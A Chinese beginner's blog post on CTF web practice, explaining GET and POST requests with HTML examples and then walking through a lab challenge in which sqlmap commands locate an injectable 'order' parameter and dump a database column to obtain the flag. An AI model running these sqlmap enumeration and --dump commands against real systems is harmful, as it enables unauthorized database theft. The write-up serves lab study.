网络安全Web学习记录———CTF---Web---SQL注入(GET和POST传参)例题

小白初见,若有问题,希望各位大哥多多指正~

我的第一道web类CTF题------一起来撸猫o(=•ェ•=)m-CSDN博客

最开始学习CTF里的web方向时,每次做了题遇到类似的老是忘记之前的解法,所以写点东西记录一下。听大哥的话,就从最开始的GET传参开始吧!!!(大部分都是只得其法,不得其理。希望以后学了更多后能补充上原理)

一、了解GET和POST出处

寻求度娘知,GET和POST 是 HTTP 协议中两种请求方式,而HTTP协议是一个简单的请求-响应协议(具体详见HTTP_百度百科)

GET和POST 是 HTTP 请求中常用的两种请求方法,它们的底层都是基于 TCP/IP 实现的。但是由于 HTTP 的规定以及浏览器/服务器的限制,导致它们在应用过程中可能会有所不同。

二、了解GET和POST区别

GET和POST是HTTP协议中最常用的两种请求方法,它们在许多方面存在差异。

  1. 使用目的:GET主要用于请求数据,而POST主要用于发送数据。
  2. 参数传递:GET请求的参数会显示在URL地址栏中,这使得参数容易被记录和查看,因此安全性较低。相比之下,POST请求将参数放在请求体中,不会在地址栏中显示,因此安全性更高。
  3. 缓存和历史记录:GET请求可以被浏览器缓存,也会被保存在浏览器的历史记录中。而POST请求则不会被缓存,也不会被保存在浏览器的历史记录中。
  4. 对参数的数据类型:GET只接受ASCII字符作为参数,而POST没有这个限制。
  5. 安全性:由于GET请求的参数直接暴露在URL上,因此它不适合传递敏感信息,例如密码或信用卡信息。相比之下,POST请求更为安全,因为它的参数不会在URL中显示。

总的来说,GET和POST请求在许多方面存在差异,需要根据具体的使用场景来选择合适的请求方法。

参考:

GET和POST的区别以及传参详细解说_post传参-CSDN博客文章浏览阅读1.7w次,点赞10次,收藏72次。文章目录前言一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别二、传参1.get传参2.post传参传入参数json传入参数data传入参数params总结前言该文章为自己学习及经验总结,里面可能会有不准确的地方,后续会不断的修正文章内容主要针对软件测试人员需要掌握的范围一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别GET 和 ._post传参https://blog.csdn.net/m0_47801456/article/details/123684379

三、GET的几种传参方式

复制代码
​  <!--//参数传递的几种形式-->
< html xmlns = "http://www.w3.org/1999/xhtml" >

< head >

< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" />

   < title ></ title >

   < script type = "text/javascript" >

     function Go() {

       window.location.href="localhost:21811/Handler1.ashx?id=1&name='abc'"

     }

   </ script >

</ head >

< body >

​
1、直接在URL后面加参数:
复制代码
 <!--第一种:直接在URL后面加参数:-->

   localhost:21811/Handler1.ashx?id=1&name="abc"
2、用超链接的方法传递参数:

当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去

复制代码
 <!--第二种:用超链接的方法传递参数:当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去-->

   < a href = "localhost:21811/Handler1.ashx?id=1&name='abc'" >超链接传递参数</ a ></ body >
3、通过js方法传递:

用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去

复制代码
  <!--第三种:通过js方法传递:用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去-->

   < input type = "button" onclick = "Go()" value = "通过js方法传递参数" />
4、``通过form表单传递:

< form action = "Handler1.ashx" method = "get" > 注意action里面的连接不能带参数的

复制代码
   <!--第四种:通过form表单传递-->

   < form action = "Handler1.ashx" method = "get" > <!--注意action里面的连接不能带参数的--> >

     < input type = "text" name = "id" value = "3" />

     < input type = "text" name = "name" value = "abc" />

     < input type = "submit" value = "通过传递参数" />

   </ form >

</ body >

</ html >

CTF------Web例题:

一、题目描述

题目:小试牛刀

二、解题步骤

1、注入点的确定

Step1:利用http://172.16.15.193/stage/9/get_info.php?title=xiaoshiniudao\&order=id

这个网址跑sqlmap,提示title不是注入点。

Step2:此题为get传参,参数可以删减猜测注入点为order

复制代码
 sqlmap -u http://172.16.15.193/stage/9/get_info.php?order=id --dbs

2、爆字段

Step3:数据库为inject_xiaoshiniudao2,爆表,列过程已省略。

查字段:

复制代码
sqlmap -u http://172.16.15.192/stage/5/get_info.php?order=id -D inject_xiaoshiniudao2 -T key_1 -C thekey --dump
得到key:BFDE779BF1883CA5
相关推荐
y***61316 小时前
【springboot】Spring 官方抛弃了 Java 8!新idea如何创建java8项目
java·spring boot·spring
tanxinji6 小时前
RabbitMQ四种交换器类型详解及示例
java·rabbitmq
刘一说6 小时前
一次生产环境 Tomcat 7 + JDK 7 应用启动失败的完整排查与修复实录
java·tomcat·firefox
七夜zippoe7 小时前
JVM类加载机制(Class Loading)详解:双亲委派模型与破坏实践
java·开发语言·jvm·类加载·双亲委派
自动化代码美学7 小时前
【Python3.13】官网学习之控制流
开发语言·windows·python·学习
黄昏恋慕黎明8 小时前
spring MVC了解
java·后端·spring·mvc
AA陈超8 小时前
ASC学习笔记0020:用于定义角色或Actor的默认属性值
c++·笔记·学习·ue5·虚幻引擎
dreamtm1239 小时前
通俗理解 TCP 拥塞控制:像 “快递员看路况调速”,避免网络 “堵车”
网络·tcp/ip·php
-Xie-9 小时前
Redis(八)——多线程与单线程
java·数据库·redis
wanhengidc9 小时前
云手机的软件核心是什么
运维·服务器·web安全·游戏·智能手机